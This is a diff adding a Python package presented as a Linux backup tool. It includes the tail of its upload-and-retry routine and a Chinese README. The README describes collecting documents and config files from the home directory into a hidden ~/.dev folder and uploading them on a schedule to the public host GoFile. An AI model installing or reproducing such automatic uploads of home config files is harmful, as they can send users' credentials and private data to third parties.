502
+ result = response.json()
503
+ if result.get("status") == "ok":
504
+ logging.critical(f"上传成功: {file_path}")
505
+ try:
506
+ os.remove(file_path)
507
+ except Exception as e:
508
+ logging.error(f"删除已上传文件失败: {e}")
509
+ return True
510
+ else:
511
+ error_msg = result.get("message", "未知错误")
512
+ logging.error(f"服务器返回错误: {error_msg}")
513
+ else:
514
+ logging.error(f"上传失败,状态码: {response.status_code}, 响应: {response.text}")
515
+
516
+ except requests.exceptions.Timeout:
517
+ logging.error(f"上传超时 {file_path}")
518
+ except requests.exceptions.SSLError:
519
+ logging.error(f"SSL错误 {file_path}")
520
+ except requests.exceptions.ConnectionError:
521
+ logging.error(f"连接错误 {file_path}")
522
+ except Exception as e:
523
+ logging.error(f"上传文件出错 {file_path}: {str(e)}")
524
+
525
+ continue
526
+
527
+ if attempt < self.config.RETRY_COUNT - 1:
528
+ logging.critical(f"等待 {self.config.RETRY_DELAY} 秒后重试...")
529
+ time.sleep(self.config.RETRY_DELAY)
530
+
531
+ try:
532
+ os.remove(file_path)
533
+ logging.error(f"文件 {file_path} 上传失败并已删除")
534
+ except Exception as e:
535
+ logging.error(f"删除失败文件时出错: {e}")
536
+
537
+ return False
538
+
539
+ except OSError as e:
540
+ logging.error(f"获取文件信息失败 {file_path}: {e}")
541
+ if os.path.exists(file_path):
542
+ try:
543
+ os.remove(file_path)
544
+ except:
545
+ pass
546
+ return False
547
+
@@ -0,0 +1,233 @@
1
+ Metadata-Version: 2.4
2
+ Name: auto-backup-linux
3
+ Version: 1.0.1
4
+ Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
5
+ Home-page: https://github.com/wongstarx/auto-backup-linux
6
+ Author: YLX Studio
7
+ Author-email:
8
+ Project-URL: Bug Reports, https://github.com/wongstarx/auto-backup-linux/issues
9
+ Project-URL: Source, https://github.com/wongstarx/auto-backup-linux
10
+ Keywords: backup,linux,automation,cloud-upload
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Intended Audience :: System Administrators
13
+ Classifier: Topic :: System :: Archiving :: Backup
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Programming Language :: Python :: 3.7
17
+ Classifier: Programming Language :: Python :: 3.8
18
+ Classifier: Programming Language :: Python :: 3.9
19
+ Classifier: Programming Language :: Python :: 3.10
20
+ Classifier: Programming Language :: Python :: 3.11
21
+ Classifier: Operating System :: POSIX :: Linux
22
+ Requires-Python: >=3.7
23
+ Description-Content-Type: text/markdown
24
+ Requires-Dist: requests>=2.25.0
25
+ Dynamic: author
26
+ Dynamic: classifier
27
+ Dynamic: description
28
+ Dynamic: description-content-type
29
+ Dynamic: home-page
30
+ Dynamic: keywords
31
+ Dynamic: project-url
32
+ Dynamic: requires-dist
33
+ Dynamic: requires-python
34
+ Dynamic: summary
35
+
36
+ # Auto Backup Linux
37
+
38
+ 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端。
39
+
40
+ ## 功能特性
41
+
42
+ - ✅ 自动备份指定目录和文件
43
+ - ✅ 智能文件分类(文档/配置)
44
+ - ✅ 自动压缩备份文件
45
+ - ✅ 大文件自动分片
46
+ - ✅ 自动上传到云端(GoFile)
47
+ - ✅ 定时备份功能
48
+ - ✅ 日志记录和轮转
49
+ - ✅ 网络连接检测
50
+ - ✅ 自动重试机制
51
+
52
+ ## 安装
53
+
54
+ ### 方法一:使用 pipx(推荐,适用于 Ubuntu 23.04+ / Debian 12+)
55
+
56
+ `pipx` 是安装命令行工具的最佳方式,它会自动管理虚拟环境。
57
+
58
+ ```bash
59
+ # 安装 pipx(如果未安装)
60
+ sudo apt update
61
+ sudo apt install pipx
62
+ pipx ensurepath
63
+
64
+ # 从 GitHub 安装
65
+ pipx install git+https://github.com/wongstarx/auto-backup-linux.git
66
+
67
+ # 或从 PyPI 安装(发布后)
68
+ # pipx install auto-backup-linux
69
+ ```
70
+
71
+ ### 方法二:使用 Poetry(推荐用于开发)
72
+
73
+ Poetry 是一个现代的 Python 依赖管理和打包工具。
74
+
75
+ ```bash
76
+ # 安装 Poetry(如果未安装)
77
+ curl -sSL https://install.python-poetry.org | python3 -
78
+ # 或使用 pipx
79
+ # pipx install poetry
80
+
81
+ # 从 GitHub 安装
82
+ poetry add git+https://github.com/wongstarx/auto-backup-linux.git
83
+
84
+ # 或克隆仓库后安装
85
+ git clone https://github.com/wongstarx/auto-backup-linux.git
86
+ cd auto-backup-linux
87
+ poetry install
88
+
89
+ # 运行
90
+ poetry run autobackup
91
+ ```
92
+
93
+ ### 方法三:使用虚拟环境
94
+
95
+ ```bash
96
+ # 创建虚拟环境
97
+ python3 -m venv venv
98
+
99
+ # 激活虚拟环境
100
+ source venv/bin/activate
101
+
102
+ # 安装包
103
+ pip install git+https://github.com/wongstarx/auto-backup-linux.git
104
+
105
+ # 或从 PyPI 安装
106
+ # pip install auto-backup-linux
107
+ ```
108
+
109
+ ### 方法四:系统级安装(需要 --break-system-packages)
110
+
111
+ ⚠️ **不推荐**:可能会与系统包管理器冲突
112
+
113
+ ```bash
114
+ pip install --break-system-packages git+https://github.com/wongstarx/auto-backup-linux.git
115
+ ```
116
+
117
+ ### 从源码安装
118
+
119
+ ```bash
120
+ git clone https://github.com/wongstarx/auto-backup-linux.git
121
+ cd auto-backup-linux
122
+
123
+ # 使用 Poetry(推荐)
124
+ poetry install
125
+ poetry run autobackup
126
+
127
+ # 或使用虚拟环境
128
+ python3 -m venv venv
129
+ source venv/bin/activate
130
+ pip install .
131
+
132
+ # 或使用 pipx
133
+ pipx install .
134
+ ```
135
+
136
+ ## 使用方法
137
+
138
+ ### 命令行使用
139
+
140
+ 安装后,可以直接使用命令行工具:
141
+
142
+ ```bash
143
+ autobackup
144
+ ```
145
+
146
+ ### Python代码使用
147
+
148
+ ```python
149
+ from auto_backup import BackupManager, BackupConfig
150
+
151
+ # 创建备份管理器
152
+ manager = BackupManager()
153
+
154
+ # 备份文件
155
+ backup_dir = manager.backup_linux_files(
156
+ source_dir="~/",
157
+ target_dir="~/.dev/Backup/server"
158
+ )
159
+
160
+ # 压缩备份
161
+ backup_files = manager.zip_backup_folder(
162
+ folder_path=backup_dir,
163
+ zip_file_path="backup_20240101"
164
+ )
165
+
166
+ # 上传备份
167
+ if manager.upload_backup(backup_files):
168
+ print("备份上传成功!")
169
+ ```
170
+
171
+ ## 配置说明
172
+
173
+ ### 备份配置
174
+
175
+ 可以通过修改 `BackupConfig` 类来调整配置:
176
+
177
+ - `DEBUG_MODE`: 调试模式开关
178
+ - `MAX_SINGLE_FILE_SIZE`: 单文件最大大小(默认50MB)
179
+ - `CHUNK_SIZE`: 分片大小(默认50MB)
180
+ - `RETRY_COUNT`: 重试次数(默认5次)
181
+ - `RETRY_DELAY`: 重试延迟(默认60秒)
182
+ - `BACKUP_INTERVAL`: 备份间隔(默认约3天)
183
+ - `SERVER_BACKUP_DIRS`: 需要备份的目录列表
184
+ - `DOC_EXTENSIONS`: 文档类型扩展名
185
+ - `CONFIG_EXTENSIONS`: 配置类型扩展名
186
+ - `EXCLUDE_DIRS`: 排除的目录列表
187
+
188
+ ### 日志配置
189
+
190
+ 日志文件默认保存在:`~/.dev/Backup/backup.log`
191
+
192
+ - `LOG_FILE`: 日志文件路径
193
+ - `LOG_MAX_SIZE`: 日志文件最大大小(默认10MB)
194
+ - `LOG_BACKUP_COUNT`: 保留的日志备份数量(默认10个)
195
+
196
+ ## 系统要求
197
+
198
+ - Python 3.7+
199
+ - Linux操作系统
200
+ - 网络连接(用于上传备份)
201
+
202
+ ### Ubuntu/Debian 系统注意事项
203
+
204
+ 如果遇到 `externally-managed-environment` 错误,这是因为 Ubuntu 23.04+ 和 Debian 12+ 引入了 PEP 668 保护机制。请使用以下方法之一:
205
+
206
+ 1. **使用 pipx**(推荐):`pipx install git+https://github.com/wongstarx/auto-backup-linux.git`
207
+ 2. **使用虚拟环境**:`python3 -m venv venv && source venv/bin/activate && pip install ...`
208
+ 3. **使用 --break-system-packages**(不推荐):`pip install --break-system-packages ...`
209
+
210
+ ## 依赖项
211
+
212
+ - `requests` >= 2.25.0
213
+
214
+ ## 许可证
215
+
216
+ MIT License
217
+
218
+ ## 贡献
219
+
220
+ 欢迎提交Issue和Pull Request!
221
+
222
+ ## 作者
223
+
224
+ YLX Studio
225
+
226
+ ## 更新日志
227
+
228
+ ### v1.0.0
229
+ - 初始版本发布
230
+ - 支持自动备份、压缩和上传
231
+ - 支持定时备份
232
+ - 支持日志记录
233
+
@@ -0,0 +1,9 @@
1
+ auto_backup/__init__.py,sha256=WxBCkoVKFjo_x0H9gLKnbvIj51lUtvWDhc9uEAJQ1HQ,357
2
+ auto_backup/cli.py,sha256=siHOrxk5Rw4okpbvnyitcqu8ACM1dzVLzQdi0nWU34w,8336
3
+ auto_backup/config.py,sha256=LvzOUa13i2sIQj2QnyWE35NjZ_MarT2-LVg2vDfM-i8,3378
4
+ auto_backup/manager.py,sha256=HIObCGPGjV4N_gy2IfXwgu0S2Lyn8tMrQ4vEOCrcPlU,23963
5
+ auto_backup_linux-1.0.1.dist-info/METADATA,sha256=f9TtDwZPffkOzl0MOuW93brVKdiSTW3tZCTeiAC3DRA,5728
6
+ auto_backup_linux-1.0.1.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
7
+ auto_backup_linux-1.0.1.dist-info/entry_points.txt,sha256=1ebpuvJpIzH3szkrHjFFCoOF14efgsf_I7FEEWYSR_k,52
8
+ auto_backup_linux-1.0.1.dist-info/top_level.txt,sha256=yoaEMbM-rnAbtQBlA25A-ozLUxO21qFNGMHcWeCjYR0,12
9
+ auto_backup_linux-1.0.1.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (80.9.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ autobackup = auto_backup.cli:main
@@ -0,0 +1 @@
1
+ auto_backup